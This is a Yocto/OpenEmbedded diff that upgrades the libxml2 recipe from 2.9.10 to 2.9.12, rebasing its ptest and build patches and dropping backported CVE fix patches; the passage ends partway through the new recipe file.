@@ -1,4 +1,4 @@
-From 2b5fb416aa275fd2a17a0139a2f783998bcb42cc Mon Sep 17 00:00:00 2001
+From ea1993d1d9a18c5e61b9cb271892b0a48f508d32 Mon Sep 17 00:00:00 2001
From: Peter Kjellerstedt <pkj@axis.com>
Date: Fri, 9 Jun 2017 17:50:46 +0200
Subject: [PATCH] Make ptest run the python tests if python is enabled
@@ -8,16 +8,14 @@ be due to the fact that the tests are forced to run with Python 3.
Upstream-Status: Inappropriate [OE specific]
Signed-off-by: Peter Kjellerstedt <peter.kjellerstedt@axis.com>
-
---
- Makefile.am | 2 +-
- python/Makefile.am | 9 +++++++++
- python/tests/Makefile.am | 10 ++++++++++
- python/tests/tstLastError.py | 2 +-
- 4 files changed, 21 insertions(+), 2 deletions(-)
+ Makefile.am | 2 +-
+ python/Makefile.am | 9 +++++++++
+ python/tests/Makefile.am | 10 ++++++++++
+ 3 files changed, 20 insertions(+), 1 deletion(-)
diff --git a/Makefile.am b/Makefile.am
-index ae62274..bd1e425 100644
+index b428452b..dc18d6dd 100644
--- a/Makefile.am
+++ b/Makefile.am
@@ -203,9 +203,9 @@ install-ptest:
@@ -32,7 +30,7 @@ index ae62274..bd1e425 100644
runtests: runtest$(EXEEXT) testrecurse$(EXEEXT) testapi$(EXEEXT) \
testchar$(EXEEXT) testdict$(EXEEXT) runxmlconf$(EXEEXT)
diff --git a/python/Makefile.am b/python/Makefile.am
-index 34aed96..ba3ec6a 100644
+index 34aed96c..ba3ec6a4 100644
--- a/python/Makefile.am
+++ b/python/Makefile.am
@@ -48,7 +48,16 @@ GENERATED = libxml2class.py libxml2class.txt $(BUILT_SOURCES)
@@ -53,7 +51,7 @@ index 34aed96..ba3ec6a 100644
tests test: all
cd tests && $(MAKE) tests
diff --git a/python/tests/Makefile.am b/python/tests/Makefile.am
-index 227e24d..021bb29 100644
+index 227e24df..3568c2d2 100644
--- a/python/tests/Makefile.am
+++ b/python/tests/Makefile.am
@@ -59,6 +59,11 @@ XMLS= \
@@ -83,16 +81,6 @@ index 227e24d..021bb29 100644
+
tests:
endif
-diff --git a/python/tests/tstLastError.py b/python/tests/tstLastError.py
-index 81d0acc..162c8db 100755
---- a/python/tests/tstLastError.py
-+++ b/python/tests/tstLastError.py
-@@ -25,7 +25,7 @@ class TestCase(unittest.TestCase):
- when the exception is raised, check the libxml2.lastError for
- expected values."""
- # disable the default error handler
-- libxml2.registerErrorHandler(None,None)
-+ libxml2.registerErrorHandler(lambda ctx,str: None,None)
- try:
- f(*args)
- except exc:
+--
+2.25.1
+
diff --git a/meta/recipes-core/libxml/libxml2/CVE-2019-20388.patch b/meta/recipes-core/libxml/libxml2/CVE-2019-20388.patch
deleted file mode 100644
index 88eb65a6a5..0000000000
--- a/meta/recipes-core/libxml/libxml2/CVE-2019-20388.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From 7ffcd44d7e6c46704f8af0321d9314cd26e0e18a Mon Sep 17 00:00:00 2001
-From: Zhipeng Xie <xiezhipeng1@huawei.com>
-Date: Tue, 20 Aug 2019 16:33:06 +0800
-Subject: [PATCH] Fix memory leak in xmlSchemaValidateStream
-
-When ctxt->schema is NULL, xmlSchemaSAXPlug->xmlSchemaPreRun
-alloc a new schema for ctxt->schema and set vctxt->xsiAssemble
-to 1. Then xmlSchemaVStart->xmlSchemaPreRun initialize
-vctxt->xsiAssemble to 0 again which cause the alloced schema
-can not be freed anymore.
-
-Found with libFuzzer.
-
-Upstream-Status: Backport [https://gitlab.gnome.org/GNOME/libxml2/commit/7ffcd44d7e6c46704f8af0321d9314cd26e0e18a]
-CVE: CVE-2019-20388
-
-Signed-off-by: Zhipeng Xie <xiezhipeng1@huawei.com>
-Signed-off-by: Lee Chee Yang <chee.yang.lee@intel.com>
----
- xmlschemas.c | 1 -
- 1 file changed, 1 deletion(-)
-
-diff --git a/xmlschemas.c b/xmlschemas.c
-index 301c8449..39d92182 100644
---- a/xmlschemas.c
-+++ b/xmlschemas.c
-@@ -28090,7 +28090,6 @@ xmlSchemaPreRun(xmlSchemaValidCtxtPtr vctxt) {
- vctxt->nberrors = 0;
- vctxt->depth = -1;
- vctxt->skipDepth = -1;
-- vctxt->xsiAssemble = 0;
- vctxt->hasKeyrefs = 0;
- #ifdef ENABLE_IDC_NODE_TABLES_TEST
- vctxt->createIDCNodeTables = 1;
---
-2.24.1
-
diff --git a/meta/recipes-core/libxml/libxml2/CVE-2020-24977.patch b/meta/recipes-core/libxml/libxml2/CVE-2020-24977.patch
deleted file mode 100644
index 8224346660..0000000000
--- a/meta/recipes-core/libxml/libxml2/CVE-2020-24977.patch
+++ /dev/null
@@ -1,41 +0,0 @@
-From 50f06b3efb638efb0abd95dc62dca05ae67882c2 Mon Sep 17 00:00:00 2001
-From: Nick Wellnhofer <wellnhofer@aevum.de>
-Date: Fri, 7 Aug 2020 21:54:27 +0200
-Subject: [PATCH] Fix out-of-bounds read with 'xmllint --htmlout'
-
-Make sure that truncated UTF-8 sequences don't cause an out-of-bounds
-array access.
-
-Thanks to @SuhwanSong and the Agency for Defense Development (ADD) for
-the report.
-
-Fixes #178.
-
-CVE: CVE-2020-24977
-Upstream-Status: Backport [https://gitlab.gnome.org/GNOME/libxml2/-/commit/50f06b3efb638efb0abd95dc62dca05ae67882c2]
-
-Signed-off-by: Ovidiu Panait <ovidiu.panait@windriver.com>
----
- xmllint.c | 6 ++++++
- 1 file changed, 6 insertions(+)
-
-diff --git a/xmllint.c b/xmllint.c
-index f6a8e463..c647486f 100644
---- a/xmllint.c
-+++ b/xmllint.c
-@@ -528,6 +528,12 @@ static void
- xmlHTMLEncodeSend(void) {
- char *result;
-
-+ /*
-+ * xmlEncodeEntitiesReentrant assumes valid UTF-8, but the buffer might
-+ * end with a truncated UTF-8 sequence. This is a hack to at least avoid
-+ * an out-of-bounds read.
-+ */
-+ memset(&buffer[sizeof(buffer)-4], 0, 4);
- result = (char *) xmlEncodeEntitiesReentrant(NULL, BAD_CAST buffer);
- if (result) {
- xmlGenericError(xmlGenericErrorContext, "%s", result);
---
-2.17.1
-
diff --git a/meta/recipes-core/libxml/libxml2/CVE-2020-7595.patch b/meta/recipes-core/libxml/libxml2/CVE-2020-7595.patch
deleted file mode 100644
index facfefd362..0000000000
--- a/meta/recipes-core/libxml/libxml2/CVE-2020-7595.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From 0e1a49c8907645d2e155f0d89d4d9895ac5112b5 Mon Sep 17 00:00:00 2001
-From: Zhipeng Xie <xiezhipeng1@huawei.com>
-Date: Thu, 12 Dec 2019 17:30:55 +0800
-Subject: [PATCH] Fix infinite loop in xmlStringLenDecodeEntities
-
-When ctxt->instate == XML_PARSER_EOF,xmlParseStringEntityRef
-return NULL which cause a infinite loop in xmlStringLenDecodeEntities
-
-Found with libFuzzer.
-
-Signed-off-by: Zhipeng Xie <xiezhipeng1@huawei.com>
-
-Upstream-Status: Backport [https://gitlab.gnome.org/GNOME/libxml2/commit/0e1a49c89076]
-CVE: CVE-2020-7595
-Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
----
- parser.c | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/parser.c b/parser.c
-index d1c31963..a34bb6cd 100644
---- a/parser.c
-+++ b/parser.c
-@@ -2646,7 +2646,8 @@ xmlStringLenDecodeEntities(xmlParserCtxtPtr ctxt, const xmlChar *str, int len,
- else
- c = 0;
- while ((c != 0) && (c != end) && /* non input consuming loop */
-- (c != end2) && (c != end3)) {
-+ (c != end2) && (c != end3) &&
-+ (ctxt->instate != XML_PARSER_EOF)) {
-
- if (c == 0) break;
- if ((c == '&') && (str[1] == '#')) {
---
-2.24.1
-
diff --git a/meta/recipes-core/libxml/libxml2/fix-python39.patch b/meta/recipes-core/libxml/libxml2/fix-python39.patch
deleted file mode 100644
index 32590f9ddf..0000000000
--- a/meta/recipes-core/libxml/libxml2/fix-python39.patch
+++ /dev/null
@@ -1,94 +0,0 @@
-From e4fb36841800038c289997432ca547c9bfef9db1 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Miro=20Hron=C4=8Dok?= <miro@hroncok.cz>
-Date: Fri, 28 Feb 2020 12:48:14 +0100
-Subject: [PATCH] Parenthesize Py<type>_Check() in ifs
-
-In C, if expressions should be parenthesized.
-PyLong_Check, PyUnicode_Check etc. happened to expand to a parenthesized
-expression before, but that's not API to rely on.
-
-Since Python 3.9.0a4 it needs to be parenthesized explicitly.
-
-Fixes https://gitlab.gnome.org/GNOME/libxml2/issues/149
-Upstream-Status: Backport
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- python/libxml.c | 4 ++--
- python/types.c | 12 ++++++------
- 2 files changed, 8 insertions(+), 8 deletions(-)
-
-diff --git a/python/libxml.c b/python/libxml.c
-index bc676c4e0..81e709f34 100644
---- a/python/libxml.c
-+++ b/python/libxml.c
-@@ -294,7 +294,7 @@ xmlPythonFileReadRaw (void * context, char * buffer, int len) {
- lenread = PyBytes_Size(ret);
- data = PyBytes_AsString(ret);
- #ifdef PyUnicode_Check
-- } else if PyUnicode_Check (ret) {
-+ } else if (PyUnicode_Check (ret)) {
- #if PY_VERSION_HEX >= 0x03030000
- Py_ssize_t size;
- const char *tmp;
-@@ -359,7 +359,7 @@ xmlPythonFileRead (void * context, char * buffer, int len) {
- lenread = PyBytes_Size(ret);
- data = PyBytes_AsString(ret);
- #ifdef PyUnicode_Check
-- } else if PyUnicode_Check (ret) {
-+ } else if (PyUnicode_Check (ret)) {
- #if PY_VERSION_HEX >= 0x03030000
- Py_ssize_t size;
- const char *tmp;
-diff --git a/python/types.c b/python/types.c
-index c2bafeb19..ed284ec74 100644
---- a/python/types.c
-+++ b/python/types.c
-@@ -602,16 +602,16 @@ libxml_xmlXPathObjectPtrConvert(PyObject *obj)
- if (obj == NULL) {
- return (NULL);
- }
-- if PyFloat_Check (obj) {
-+ if (PyFloat_Check (obj)) {
- ret = xmlXPathNewFloat((double) PyFloat_AS_DOUBLE(obj));
-- } else if PyLong_Check(obj) {
-+ } else if (PyLong_Check(obj)) {
- #ifdef PyLong_AS_LONG
- ret = xmlXPathNewFloat((double) PyLong_AS_LONG(obj));
- #else
- ret = xmlXPathNewFloat((double) PyInt_AS_LONG(obj));
- #endif
- #ifdef PyBool_Check
-- } else if PyBool_Check (obj) {
-+ } else if (PyBool_Check (obj)) {
-
- if (obj == Py_True) {
- ret = xmlXPathNewBoolean(1);
-@@ -620,14 +620,14 @@ libxml_xmlXPathObjectPtrConvert(PyObject *obj)
- ret = xmlXPathNewBoolean(0);
- }
- #endif
-- } else if PyBytes_Check (obj) {
-+ } else if (PyBytes_Check (obj)) {
- xmlChar *str;
-
- str = xmlStrndup((const xmlChar *) PyBytes_AS_STRING(obj),
- PyBytes_GET_SIZE(obj));
- ret = xmlXPathWrapString(str);
- #ifdef PyUnicode_Check
-- } else if PyUnicode_Check (obj) {
-+ } else if (PyUnicode_Check (obj)) {
- #if PY_VERSION_HEX >= 0x03030000
- xmlChar *str;
- const char *tmp;
-@@ -650,7 +650,7 @@ libxml_xmlXPathObjectPtrConvert(PyObject *obj)
- ret = xmlXPathWrapString(str);
- #endif
- #endif
-- } else if PyList_Check (obj) {
-+ } else if (PyList_Check (obj)) {
- int i;
- PyObject *node;
- xmlNodePtr cur;
---
-GitLab
-
diff --git a/meta/recipes-core/libxml/libxml2/libxml-m4-use-pkgconfig.patch b/meta/recipes-core/libxml/libxml2/libxml-m4-use-pkgconfig.patch
index e6998f6e68..a5c112db7b 100644
--- a/meta/recipes-core/libxml/libxml2/libxml-m4-use-pkgconfig.patch
+++ b/meta/recipes-core/libxml/libxml2/libxml-m4-use-pkgconfig.patch
@@ -1,24 +1,35 @@
-From 43edc9a445ed66cceb7533eadeef242940b4592c Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Sat, 11 May 2019 20:37:12 +0800
+From f57da62218cf72c1342da82abafdac6b0a2e4997 Mon Sep 17 00:00:00 2001
+From: Tony Tascioglu <tony.tascioglu@windriver.com>
+Date: Fri, 14 May 2021 11:50:35 -0400
Subject: [PATCH] AM_PATH_XML2 uses xml-config which we disable through
+
binconfig-disabled.bbclass, so port it to use pkg-config instead.
-Upstream-Status: Pending
+This cannot be upstreamed, as the original macro supports various
+optional arguments which cannot be supported with a direct call
+to pkg-config.
+
+Upstream-Status: Inappropriate [oe-core specific; see above]
Signed-off-by: Ross Burton <ross.burton@intel.com>
Rebase to 2.9.9
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
+Updated to apply cleanly to v2.9.12
+
+Signed-off-by: Tony Tascioglu <tony.tascioglu@windriver.com>
---
- libxml.m4 | 186 ++------------------------------------------------------------
- 1 file changed, 5 insertions(+), 181 deletions(-)
+ libxml.m4 | 190 ++----------------------------------------------------
+ 1 file changed, 5 insertions(+), 185 deletions(-)
diff --git a/libxml.m4 b/libxml.m4
-index 2d7a6f5..1c53585 100644
+index 09de9fe2..1c535853 100644
--- a/libxml.m4
+++ b/libxml.m4
-@@ -1,188 +1,12 @@
+@@ -1,192 +1,12 @@
-# Configure paths for LIBXML2
+-# Simon Josefsson 2020-02-12
+-# Fix autoconf 2.70+ warnings
-# Mike Hommey 2004-06-19
-# use CPPFLAGS instead of CFLAGS
-# Toshio Kuratomi 2001-04-21
@@ -78,7 +89,8 @@ index 2d7a6f5..1c53585 100644
-dnl (Also sanity checks the results of xml2-config to some extent)
-dnl
- rm -f conf.xmltest
-- AC_TRY_RUN([
+- AC_RUN_IFELSE(
+- [AC_LANG_SOURCE([[
-#include <stdlib.h>
-#include <stdio.h>
-#include <string.h>
@@ -148,12 +160,12 @@ index 2d7a6f5..1c53585 100644
- printf("*** being found. The easiest way to fix this is to remove the old version\n");
- printf("*** of LIBXML, but you can also set the XML2_CONFIG environment to point to the\n");
- printf("*** correct copy of xml2-config. (In this case, you will have to\n");
-- printf("*** modify your LD_LIBRARY_PATH enviroment variable, or edit /etc/ld.so.conf\n");
+- printf("*** modify your LD_LIBRARY_PATH environment variable, or edit /etc/ld.so.conf\n");
- printf("*** so that the correct libraries are found at run-time))\n");
- }
- return 1;
-}
--],, no_xml=yes,[echo $ac_n "cross compiling; assumed OK... $ac_c"])
+-]])],, no_xml=yes,[echo $ac_n "cross compiling; assumed OK... $ac_c"])
- CPPFLAGS="$ac_save_CPPFLAGS"
- LIBS="$ac_save_LIBS"
- fi
@@ -178,10 +190,11 @@ index 2d7a6f5..1c53585 100644
- echo "*** Could not run libxml test program, checking why..."
- CPPFLAGS="$CPPFLAGS $XML_CPPFLAGS"
- LIBS="$LIBS $XML_LIBS"
-- AC_TRY_LINK([
+- AC_LINK_IFELSE(
+- [AC_LANG_PROGRAM([[
-#include <libxml/xmlversion.h>
-#include <stdio.h>
--], [ LIBXML_TEST_VERSION; return 0;],
+-]], [[ LIBXML_TEST_VERSION; return 0;]])],
- [ echo "*** The test program compiled, but did not run. This usually means"
- echo "*** that the run-time linker is not finding LIBXML or finding the wrong"
- echo "*** version of LIBXML. If it is not finding LIBXML, you'll need to set your"
diff --git a/meta/recipes-core/libxml/libxml2/remove-fuzz-from-ptests.patch b/meta/recipes-core/libxml/libxml2/remove-fuzz-from-ptests.patch
new file mode 100644
index 0000000000..66694af388
--- /dev/null
+++ b/meta/recipes-core/libxml/libxml2/remove-fuzz-from-ptests.patch
@@ -0,0 +1,44 @@
+From e49a0d4a8f3f725d6f683854e1cad36a3cd02962 Mon Sep 17 00:00:00 2001
+From: Tony Tascioglu <tony.tascioglu@windriver.com>
+Date: Wed, 19 May 2021 19:43:56 -0400
+Subject: [PATCH] Remove fuzz testing from executing with ptests.
+
+Upstream version 2.9.12 introduced new fuzz-testing and a corresponding
+folder fuzz. These tests are not required for ptests of this package.
+
+This patch removes the fuzz testing targets from the Makefile.
+Otherwise, running the ptests will fail due to the invalid directory.
+
+Upstream-Status: Inappropriate [oe specific]
+Signed-off-by: Tony Tascioglu <tony.tascioglu@windriver.com>
+---
+ Makefile.am | 5 ++---
+ 1 file changed, 2 insertions(+), 3 deletions(-)
+
+diff --git a/Makefile.am b/Makefile.am
+index a9284b95..3d7b344d 100644
+--- a/Makefile.am
++++ b/Makefile.am
+@@ -2,9 +2,9 @@
+
+ ACLOCAL_AMFLAGS = -I m4
+
+-SUBDIRS = include . doc example fuzz xstc $(PYTHON_SUBDIR)
++SUBDIRS = include . doc example xstc $(PYTHON_SUBDIR)
+
+-DIST_SUBDIRS = include . doc example fuzz python xstc
++DIST_SUBDIRS = include . doc example python xstc
+
+ AM_CPPFLAGS = -I$(top_builddir)/include -I$(srcdir)/include
+
+@@ -210,7 +210,6 @@ runtests: runtest$(EXEEXT) testrecurse$(EXEEXT) testapi$(EXEEXT) \
+ $(CHECKER) ./runxmlconf$(EXEEXT)
+ @(if [ "$(PYTHON_SUBDIR)" != "" ] ; then cd python ; \
+ $(MAKE) tests ; fi)
+- @cd fuzz; $(MAKE) tests
+
+ check: all runtests
+
+--
+2.25.1
+
diff --git a/meta/recipes-core/libxml/libxml2/runtest.patch b/meta/recipes-core/libxml/libxml2/runtest.patch
index 0dbb353c0f..a89dac8b75 100644
--- a/meta/recipes-core/libxml/libxml2/runtest.patch
+++ b/meta/recipes-core/libxml/libxml2/runtest.patch
@@ -1,28 +1,33 @@
-Add 'install-ptest' rule. Print a standard result line for
-each test.
+From 6172ccd1e74bc181f5298f19e240234e12876abe Mon Sep 17 00:00:00 2001
+From: Tony Tascioglu <tony.tascioglu@windriver.com>
+Date: Tue, 11 May 2021 11:57:46 -0400
+Subject: [PATCH] Add 'install-ptest' rule.
+
+Print a standard result line for each test.
Signed-off-by: Mihaela Sendrea <mihaela.sendrea@enea.com>
Signed-off-by: Andrej Valek <andrej.valek@siemens.com>
-Upstream-Status: Backport
+Upstream-Status: Submitted [https://gitlab.gnome.org/GNOME/libxml2/-/merge_requests/137]
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+Signed-off-by: Tony Tascioglu <tony.tascioglu@windriver.com>
---
- Makefile.am | 9 ++++
+ Makefile.am | 9 +++
runsuite.c | 1 +
runtest.c | 2 +
runxmlconf.c | 1 +
- testapi.c | 122 ++++++++++++++++++++++++++++++---------------
- testchar.c | 156 +++++++++++++++++++++++++++++++++++++++++-----------------
+ testapi.c | 122 ++++++++++++++++++++++++++-------------
+ testchar.c | 156 +++++++++++++++++++++++++++++++++++---------------
testdict.c | 1 +
testlimits.c | 1 +
testrecurse.c | 2 +
9 files changed, 210 insertions(+), 85 deletions(-)
diff --git a/Makefile.am b/Makefile.am
-index 9c630be..7cfd04b 100644
+index 05d1671f..ae622745 100644
--- a/Makefile.am
+++ b/Makefile.am
-@@ -202,6 +202,15 @@ runxmlconf_LDADD= $(LDADDS)
+@@ -198,6 +198,15 @@ runxmlconf_LDADD= $(LDADDS)
#testOOM_DEPENDENCIES = $(DEPS)
#testOOM_LDADD= $(LDADDS)
@@ -39,10 +44,10 @@ index 9c630be..7cfd04b 100644
testchar$(EXEEXT) testdict$(EXEEXT) runxmlconf$(EXEEXT)
[ -d test ] || $(LN_S) $(srcdir)/test .
diff --git a/runsuite.c b/runsuite.c
-index aaab13e..9ba2c5d 100644
+index d24b5ec3..f7ff2521 100644
--- a/runsuite.c
+++ b/runsuite.c
-@@ -1162,6 +1162,7 @@ main(int argc ATTRIBUTE_UNUSED, char **argv ATTRIBUTE_UNUSED) {
+@@ -1147,6 +1147,7 @@ main(int argc ATTRIBUTE_UNUSED, char **argv ATTRIBUTE_UNUSED) {
if (logfile != NULL)
fclose(logfile);
@@ -51,10 +56,10 @@ index aaab13e..9ba2c5d 100644
}
#else /* !SCHEMAS */
diff --git a/runtest.c b/runtest.c
-index addda5c..8ba5d59 100644
+index ffa98d04..470f95cb 100644
--- a/runtest.c
+++ b/runtest.c
-@@ -4501,6 +4501,7 @@ launchTests(testDescPtr tst) {
+@@ -4508,6 +4508,7 @@ launchTests(testDescPtr tst) {
xmlCharEncCloseFunc(ebcdicHandler);
xmlCharEncCloseFunc(eucJpHandler);
@@ -62,7 +67,7 @@ index addda5c..8ba5d59 100644
return(err);
}
-@@ -4577,6 +4578,7 @@ main(int argc ATTRIBUTE_UNUSED, char **argv ATTRIBUTE_UNUSED) {
+@@ -4588,6 +4589,7 @@ main(int argc ATTRIBUTE_UNUSED, char **argv ATTRIBUTE_UNUSED) {
xmlCleanupParser();
xmlMemoryDump();
@@ -71,7 +76,7 @@ index addda5c..8ba5d59 100644
}
diff --git a/runxmlconf.c b/runxmlconf.c
-index cef20f4..4f291fb 100644
+index 70f61017..e882b3a1 100644
--- a/runxmlconf.c
+++ b/runxmlconf.c
@@ -595,6 +595,7 @@ main(int argc ATTRIBUTE_UNUSED, char **argv ATTRIBUTE_UNUSED) {
@@ -83,7 +88,7 @@ index cef20f4..4f291fb 100644
}
diff --git a/testapi.c b/testapi.c
-index 4a751e2..7ccc066 100644
+index ff8b470d..52b51d78 100644
--- a/testapi.c
+++ b/testapi.c
@@ -1246,49 +1246,91 @@ static int
@@ -219,7 +224,7 @@ index 4a751e2..7ccc066 100644
}
diff --git a/testchar.c b/testchar.c
-index 0d08792..f555d3b 100644
+index 6866a175..7bce0132 100644
--- a/testchar.c
+++ b/testchar.c
@@ -23,7 +23,7 @@ static void errorHandler(void *unused, xmlErrorPtr err) {
@@ -797,7 +802,7 @@ index 0d08792..f555d3b 100644
/*
* Cleanup function for the XML library.
diff --git a/testdict.c b/testdict.c
-index 40bebd0..114b934 100644
+index 40bebd05..114b9347 100644
--- a/testdict.c
+++ b/testdict.c
@@ -440,5 +440,6 @@ int main(void)
@@ -808,7 +813,7 @@ index 40bebd0..114b934 100644
return(ret);
}
diff --git a/testlimits.c b/testlimits.c
-index 68c94db..1584434 100644
+index 059116a6..f0bee68d 100644
--- a/testlimits.c
+++ b/testlimits.c
@@ -1634,5 +1634,6 @@ main(int argc ATTRIBUTE_UNUSED, char **argv ATTRIBUTE_UNUSED) {
@@ -819,7 +824,7 @@ index 68c94db..1584434 100644
return(ret);
}
diff --git a/testrecurse.c b/testrecurse.c
-index f95ae1c..74c8f8b 100644
+index 0cbe25a6..3ecadb40 100644
--- a/testrecurse.c
+++ b/testrecurse.c
@@ -892,6 +892,7 @@ launchTests(testDescPtr tst) {
@@ -838,5 +843,5 @@ index f95ae1c..74c8f8b 100644
return(ret);
}
--
-2.7.4
+2.25.1
diff --git a/meta/recipes-core/libxml/libxml2_2.9.10.bb b/meta/recipes-core/libxml/libxml2_2.9.10.bb
deleted file mode 100644
index 07ae68610c..0000000000
--- a/meta/recipes-core/libxml/libxml2_2.9.10.bb
+++ /dev/null
@@ -1,114 +0,0 @@
-SUMMARY = "XML C Parser Library and Toolkit"
-DESCRIPTION = "The XML Parser Library allows for manipulation of XML files. Libxml2 exports Push and Pull type parser interfaces for both XML and HTML. It can do DTD validation at parse time, on a parsed document instance or with an arbitrary DTD. Libxml2 includes complete XPath, XPointer and Xinclude implementations. It also has a SAX like interface, which is designed to be compatible with Expat."
-HOMEPAGE = "http://www.xmlsoft.org/"
-BUGTRACKER = "http://bugzilla.gnome.org/buglist.cgi?product=libxml2"
-SECTION = "libs"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://Copyright;md5=2044417e2e5006b65a8b9067b683fcf1 \
- file://hash.c;beginline=6;endline=15;md5=96f7296605eae807670fb08947829969 \
- file://list.c;beginline=4;endline=13;md5=cdbfa3dee51c099edb04e39f762ee907 \
- file://trio.c;beginline=5;endline=14;md5=6c025753c86d958722ec76e94cae932e"
-
-DEPENDS = "zlib virtual/libiconv"
-
-SRC_URI = "http://www.xmlsoft.org/sources/libxml2-${PV}.tar.gz;name=libtar \
- http://www.w3.org/XML/Test/xmlts20080827.tar.gz;subdir=${BP};name=testtar \
- file://libxml-64bit.patch \
- file://runtest.patch \
- file://run-ptest \
- file://python-sitepackages-dir.patch \
- file://libxml-m4-use-pkgconfig.patch \
- file://0001-Make-ptest-run-the-python-tests-if-python-is-enabled.patch \
- file://fix-execution-of-ptests.patch \
- file://CVE-2020-7595.patch \
- file://CVE-2019-20388.patch \
- file://CVE-2020-24977.patch \
- file://fix-python39.patch \
- "
-
-SRC_URI[libtar.md5sum] = "10942a1dc23137a8aa07f0639cbfece5"
-SRC_URI[libtar.sha256sum] = "aafee193ffb8fe0c82d4afef6ef91972cbaf5feea100edc2f262750611b4be1f"
-SRC_URI[testtar.md5sum] = "ae3d1ebe000a3972afa104ca7f0e1b4a"
-SRC_URI[testtar.sha256sum] = "96151685cec997e1f9f3387e3626d61e6284d4d6e66e0e440c209286c03e9cc7"
-
-BINCONFIG = "${bindir}/xml2-config"
-
-PACKAGECONFIG ??= "python \
- ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} \
-"
-PACKAGECONFIG[python] = "--with-python=${PYTHON},--without-python,python3"
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
-
-inherit autotools pkgconfig binconfig-disabled ptest
-
-inherit ${@bb.utils.contains('PACKAGECONFIG', 'python', 'python3native', '', d)}
-
-RDEPENDS_${PN}-ptest += "make ${@bb.utils.contains('PACKAGECONFIG', 'python', 'libgcc python3-core python3-logging python3-shell python3-stringold python3-threading python3-unittest ${PN}-python', '', d)}"
-
-RDEPENDS_${PN}-python += "${@bb.utils.contains('PACKAGECONFIG', 'python', 'python3-core', '', d)}"
-
-RDEPENDS_${PN}-ptest_append_libc-glibc = " glibc-gconv-ebcdic-us \
- glibc-gconv-ibm1141 \
- glibc-gconv-iso8859-5 \
- glibc-gconv-euc-jp \
- locale-base-en-us \
- "
-
-export PYTHON_SITE_PACKAGES="${PYTHON_SITEPACKAGES_DIR}"
-
-# WARNING: zlib is required for RPM use
-EXTRA_OECONF = "--without-debug --without-legacy --with-catalog --without-docbook --with-c14n --without-lzma --with-fexceptions"
-EXTRA_OECONF_class-native = "--without-legacy --without-docbook --with-c14n --without-lzma --with-zlib"
-EXTRA_OECONF_class-nativesdk = "--without-legacy --without-docbook --with-c14n --without-lzma --with-zlib"
-EXTRA_OECONF_linuxstdbase = "--with-debug --with-legacy --with-docbook --with-c14n --without-lzma --with-zlib"
-
-python populate_packages_prepend () {
- # autonamer would call this libxml2-2, but we don't want that
- if d.getVar('DEBIAN_NAMES'):
- d.setVar('PKG_libxml2', '${MLPREFIX}libxml2')
-}
-
-PACKAGE_BEFORE_PN += "${PN}-utils"
-PACKAGES += "${PN}-python"
-
-FILES_${PN}-staticdev += "${PYTHON_SITEPACKAGES_DIR}/*.a"
-FILES_${PN}-dev += "${libdir}/xml2Conf.sh ${libdir}/cmake/*"
-FILES_${PN}-utils = "${bindir}/*"
-FILES_${PN}-python = "${PYTHON_SITEPACKAGES_DIR}"
-
-do_configure_prepend () {
- # executables take longer to package: these should not be executable
- find ${S}/xmlconf/ -type f -exec chmod -x {} \+
-}
-
-do_compile_ptest() {
- oe_runmake check-am
-}
-
-do_install_ptest () {
- cp -r ${S}/xmlconf ${D}${PTEST_PATH}
- if [ "${@bb.utils.filter('PACKAGECONFIG', 'python', d)}" ]; then
- sed -i -e 's|^\(PYTHON = \).*|\1${USRBINPATH}/${PYTHON_PN}|' \
- ${D}${PTEST_PATH}/python/tests/Makefile
- grep -lrZ '#!/usr/bin/python' ${D}${PTEST_PATH}/python |
- xargs -0 sed -i -e 's|/usr/bin/python|${USRBINPATH}/${PYTHON_PN}|'
- fi
- #Remove build host references from various Makefiles
- find "${D}${PTEST_PATH}" -name Makefile -type f -exec \
- sed -i \
- -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
- -e 's|${DEBUG_PREFIX_MAP}||g' \
- -e 's:${HOSTTOOLS_DIR}/::g' \
- -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
- -e 's:${RECIPE_SYSROOT}::g' \
- -e 's:${BASE_WORKDIR}/${MULTIMACH_TARGET_SYS}::g' \
- -e '/^RELDATE/d' \
- {} +
-}
-
-do_install_append_class-native () {
- # Docs are not needed in the native case
- rm ${D}${datadir}/gtk-doc -rf
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-core/libxml/libxml2_2.9.12.bb b/meta/recipes-core/libxml/libxml2_2.9.12.bb
new file mode 100644
index 0000000000..c387587dfd
--- /dev/null
+++ b/meta/recipes-core/libxml/libxml2_2.9.12.bb
@@ -0,0 +1,109 @@
+SUMMARY = "XML C Parser Library and Toolkit"
+DESCRIPTION = "The XML Parser Library allows for manipulation of XML files. Libxml2 exports Push and Pull type parser interfaces for both XML and HTML. It can do DTD validation at parse time, on a parsed document instance or with an arbitrary DTD. Libxml2 includes complete XPath, XPointer and Xinclude implementations. It also has a SAX like interface, which is designed to be compatible with Expat."
+HOMEPAGE = "http://www.xmlsoft.org/"
+BUGTRACKER = "http://bugzilla.gnome.org/buglist.cgi?product=libxml2"
+SECTION = "libs"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://Copyright;md5=2044417e2e5006b65a8b9067b683fcf1 \
+ file://hash.c;beginline=6;endline=15;md5=e77f77b12cb69e203d8b4090a0eee879 \
+ file://list.c;beginline=4;endline=13;md5=b9c25b021ccaf287e50060602d20f3a7 \
+ file://trio.c;beginline=5;endline=14;md5=cd4f61e27f88c1d43df112966b1cd28f"
+
+DEPENDS = "zlib virtual/libiconv"
+
+SRC_URI = "http://www.xmlsoft.org/sources/libxml2-${PV}.tar.gz;name=libtar \
+ http://www.w3.org/XML/Test/xmlts20080827.tar.gz;subdir=${BP};name=testtar \
+ file://libxml-64bit.patch \
+ file://runtest.patch \
+ file://run-ptest \
+ file://python-sitepackages-dir.patch \
